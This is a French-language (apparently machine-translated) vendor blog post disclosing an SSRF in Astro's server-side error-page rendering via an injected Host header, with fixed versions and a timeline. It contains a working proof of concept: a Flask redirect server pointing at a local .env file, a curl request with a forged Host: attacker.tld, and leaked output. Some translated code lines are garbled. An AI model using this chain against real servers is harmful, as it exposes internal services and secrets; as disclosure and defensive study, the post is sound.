Aikido

Astro SSRF en lecture complète via injection d'en-tête Host

Écrit par
Jorian Woltjer

Astro est un framework JavaScript frontend et backend utilisé par de nombreuses grandes organisations pour faciliter considérablement le développement de sites web. Récemment, l'un des agents de notre produit Aikido Attack a identifié une vulnérabilité de gravité moyenne dans l'implémentation côté serveur de ce framework. Elle a rendu tout serveur directement accessible par l'attaquant vulnérable aux attaques de type Server-Side Request Forgery (SSRF).

Désormais connu sous le nom de CVE-2026-25545, nous avons rapidement informé les mainteneurs d'Astro afin d'obtenir un correctif en seulement quelques jours. Les versions astro@5.17.2, @astrojs/node@9.5.3 ainsi que la version bêta astro@6.0.0-beta.11 sont patchées.

Résumé

Les erreurs rendues côté serveur (SSR) avec une page d'erreur personnalisée pré-rendue (par exemple, 404.astro ou 500.astro) sont vulnérables au SSRF. Si l'en-tête Host: est modifié pour pointer vers le serveur d'un attaquant, /500.html sera récupéré depuis leur serveur et pourra être redirigé vers toute autre URL interne. Cette redirection est suivie, et la réponse est renvoyée à l'attaquant.

Tout service sur localhost ou le réseau interne protégé par des pare-feu et NAT peut devenir accessible de cette manière, ce qui peut avoir des conséquences dévastatrices selon ce qui est hébergé.

Détails

L'agent de pentest IA a découvert ce problème pendant nos recherches, nous allons donc expliquer son processus de pensée en détaillant cette vulnérabilité.

Astro peut rendre les pages selon deux modes : « static » et « server ». Les sites web simples peuvent ne pas nécessiter de serveur et être exportés sous forme de fichiers HTML statiques, tandis que d'autres exigent une logique côté serveur. Vous pouvez décider ce qui est nécessaire par page.

Pour la page d'accueil, vous pourriez pré-rendre un fichier HTML qui restera toujours identique et ne changera qu'après une nouvelle compilation. Pour rendre à la demande à la place, comme pour un compteur de vues, le rendu côté serveur (SSR) est nécessaire.

L'utilisation du SSR nécessite de définir l'option de configuration de sortie sur 'server' dans astro.config.mjs:

export default defineConfig({
  output: 'server'
})

Un exemple intéressant est celui des pages d'erreur dans Astro. N'importe quelle route peut renvoyer des erreurs comme 404 Not Found ou 500 Internal Server Error, qui sont joliment affichées avec les pages d'erreur par défaut.

En tant que développeur, vous pouvez créer une page d'erreur personnalisée avec 404.astro ou 500.astro. Pour des raisons d'efficacité, celles-ci sont pré-rendues sous forme de fichiers HTML lorsque c'est possible. Le point intéressant est qu'un serveur doit désormais renvoyer une réponse pré-rendue.

Ceci est implémenté d'une manière un peu étrange : le serveur récupère /404.html ou /500.html depuis lui-même et renvoie ce résultat. Vous pouvez le lire dans renderError():

1async #renderError(...): Promise<Response> {
2  const errorRoutePath = `/${status}${this.#manifest.trailingSlash === 'always' ? '/' : ''}`;
3  const errorRouteData = matchRoute(errorRoutePath, this.#manifestData);
4  const url = new URL(request.url);
5  if (errorRouteData) {
6    if (errorRouteData.prerender) {
7      const maybeDotHtml = errorRouteData.route.endsWith(`/${status}`) ? '.html' : '';
8      const statusURL = new URL(
9        `${this.#baseWithoutTrailingSlash}/${status}${maybeDotHtml}`,
10        url,  // base
11      );
12      if (statusURL.toString() !== request.url) {
13        const response = await prerenderedErrorPageFetch(statusURL.toString() as ErrorPagePath);
14        const override = { status, removeContentEncodingHeaders: true };
15        return this.#mergeResponses(response, originalResponse, override);
16      }
17    }
18  ...
19}
20

La ligne la plus importante est prerenderedErrorPageFetch(statusURL), qui s'exécute lorsqu'une route d'erreur personnalisée existe et que la page d'erreur est prerendered (ligne 13). Sous NodeJS, il s'agit simplement de un alias pour fetch() if options.experimentalErrorPageHost n'est pas défini.
statusURL est construit à partir de request.url (ligne 4). Cette propriété provient de req.headers.host, également connu sous le nom de Host: en-tête HTTP.

static createRequest(...) {
  const providedHostname = req.headers.host ?? req.headers[':authority'];
  const validated = App.validateForwardedHeaders(
    getFirstForwardedValue(req.headers['x-forwarded-proto']),
    getFirstForwardedValue(req.headers['x-forwarded-host']),
    getFirstForwardedValue(req.headers['x-forwarded-port']),
    allowedDomains,
  );
  const sanitizedProvidedHostname = App.sanitizeHost(
    typeof providedHostname === 'string' ? providedHostname : undefined,
  );
  const hostname = validated.host ?? sanitizedProvidedHostname;

  const hostnamePort = getHostnamePort(hostname, port);
  url = new URL(`${protocol}://${hostnamePort}${req.url}`);

  const request = new Request(url, options);
  ...

Le Host: l'en-tête est toujours contrôlé par l'utilisateur, car il s'agit simplement d'une chaîne arbitraire envoyée par le client. Comme vous pouvez le voir dans la logique ci-dessus, Astro utilise req.headers.host pour construire request.url, qui devient alors l'URL de base pour un appel interne fetch() appel. Astro fait confiance à l'entrée pour pointer vers le serveur lui-même, sans la valider. C'est une injection d'en-tête Host, et c'est ce qui rend le SSRF possible ici.

GET /not-found HTTP/1.1
Hôte: attacker.tld

SSRF

Nous sommes venus ici pour Server-Side Request Forgery, mais nous ne sommes pas loin du but à ce stade. La requête ci-dessus déclenche une erreur 404, et si une page 404 personnalisée est configurée, notre attacker.tld en-tête Host sera utilisé pour envoyer une requête à http://attacker.tld/404.html .
Cela nous permet déjà de récupérer cette URL spécifique sur n'importe quel hôte interne :

GET /404.html HTTP/1.1
host: attacker.tld
connexion: keep-alive
accept: */*
accept-language : *
mode-récupération-sécurisée : cors
agent-utilisateur : node
accept-encoding : gzip, deflate

Il n'y a probablement pas beaucoup de contenu sensible sur /404.html d'un hôte arbitraire. Heureusement pour nous, fetch() suit automatiquement les redirections. Un fait dont nous pouvons tirer parti car nous sommes déjà en mesure de faire en sorte que le serveur Astro requiert le site web de notre attaquant. Tout ce que nous avons à faire est de rediriger depuis http://attacker.tld/404.html vers une URL sensible comme http://127.0.0.1:8000/.env!

Nous allons mettre en place un serveur basique pour gérer cela :

à partir de flacon import Flask, redirect

app = Flask(__name__)

@app.route("/404.html")
def exploit():
    return redirect("http://127.0.0.1:8000/.env")

si __name__ == "__main__":
    app.run()

Ensuite, nous envoyons à nouveau notre requête malveillante :

$ curl -i 'http://localhost:4321/not-found' -H 'Host: attacker.tld'
HTTP/1.1 404 OK
type de contenu : text/plain
serveur: SimpleHTTP/0.6 Python/3.12.3
Connexion: keep-alive
Keep-Alive : délai d'expiration=5
Transfer-Encoding : chunked

SECRET=...

Succès ! La page 404 a été récupérée de l'attaquant, redirigée vers 127.0.0.1:8000, et sa réponse (en-têtes et corps) a été renvoyée. Grâce à cela, un attaquant pourrait cartographier l'ensemble du réseau interne, interagissant avec les services pour lire des informations potentiellement sensibles.

Prérequis

Pour qu'un attaquant puisse exploiter cette vulnérabilité, certains prérequis sont nécessaires :

  1. Le serveur doit être en mode Server-Side Rendering (SSR) (sinon, il s'agit simplement de HTML statique).
  2. Le Host: L'en-tête doit être non assaini. Certains proxys valident cet en-tête, il peut donc être nécessaire de trouver l'
  3. IP d'origine du serveur Astro afin de s'y connecter directement.
  4. Dans le code source, le développeur doit avoir configuré un fichier personnalisé 404.astro, 404.md, ou 500.astro . C'est courant pour les applications plus importantes.

Comme illustré, l'utilisation d'une erreur 404 en visitant un chemin non routé est la voie d'exploitation la plus probable. Cependant, si une page d'erreur interne du serveur (Internal Server Error) personnalisée est configurée, déclencher n'importe quelle erreur avec un en-tête Host: falsifié peut également déclencher la vulnérabilité de la même manière.

Correction

Après avoir constaté la vulnérabilité signalée par notre agent IA, nous l'avons rapidement signalée aux mainteneurs d'Astro, qui ont mis au point un correctif en seulement quelques jours.

Les versions corrigées commencent à partir de :

  • astro@5.17.2
  • astro@6.0.0-beta.11
  • @astrojs/node@9.5.3

Leur correctif consistait à repenser la prerenderedErrorPageFetch() fonction prerenderedErrorPageFetch(), qui était auparavant un wrapper de fetch(). Désormais, /404 ou /500 les fichiers sont lus directement depuis le disque, et tout le reste n'est récupéré que si options.experimentalErrorPageHost prerenderedErrorPageFetch() est explicitement défini, indiquant d'où récupérer les données. L'en-tête Host: est maintenant également validé, de la même manière que X-Forwarded-Host: X-Forwarded-Host: l'était déjà, afin d'empêcher un attaquant de manipuler request.url prerenderedErrorPageFetch() dans Astro.

Cette vulnérabilité découle de la confiance accordée aux entrées utilisateur dans l' Host: en-tête Host:, ce qu'il ne faut jamais faire. Des fonctionnalités "magiques" comme la redirection par défaut depuis

fetch() 404.md peuvent également entraîner des conséquences inattendues. Il est bon de savoir exactement ce que font les fonctions que vous appelez en lisant leur documentation.

L'exploitation de cette vulnérabilité s'avère assez simple et facile à tester. Il suffit de demander une page inexistante avec un en-tête Host: Host: malformé. De telles attaques peuvent même être découvertes sans accès au code source en interagissant avec l'application, ce qui

Le pentest IA d'Aikido peut accomplir cela. Cependant, il dispose également de solides capacités d'analyse de code (boîte blanche), comme en témoigne ce rapport.

Chronologie

  • 2 février 2026 : Aikido Security a identifié la vulnérabilité et a développé un PoC fonctionnel.
  • 3 février 2026 : Divulgation responsable aux mainteneurs d'Astro.
  • 3 février 2026 : Rapport confirmé par les mainteneurs d'Astro et début des travaux sur un correctif.
  • 4 février 2026 : CVE-2026-25545 est créé par GitHub.
  • 11 février 2026: Le correctif est publié dans les nouvelles versions d'Astro (astro@5.17.2, astro@6.0.0-beta.11, et @astrojs/node@9.5.3)
Partager :

https://www.aikido.dev/blog/astro-full-read-ssrf-via-host-header-injection

Démarrez gratuitement dès aujourd'hui.

Commencer gratuitement
Sans carte bancaire

Abonnez-vous pour les actualités sur les menaces.

4,7/5
Fatigué des faux positifs ?
Essayez Aikido, comme 100 000 autres.
Commencez maintenant
Obtenez une démonstration personnalisée

Approuvé par plus de 100 000 équipes

Réserver maintenant
Analysez votre application à la recherche d'IDORs et de chemins d'attaque réels

Approuvé par plus de 100 000 équipes

Démarrer l'analyse
Découvrez comment le pentest IA teste votre application

Approuvé par plus de 100 000 équipes

Démarrer les tests

Sécurisez votre environnement dès maintenant.

Sécurisez votre code, votre cloud et votre environnement d’exécution dans un système centralisé unique.
Détectez et corrigez les vulnérabilités rapidement et automatiquement.

Aucune carte de crédit requise | Résultats en 32 secondes.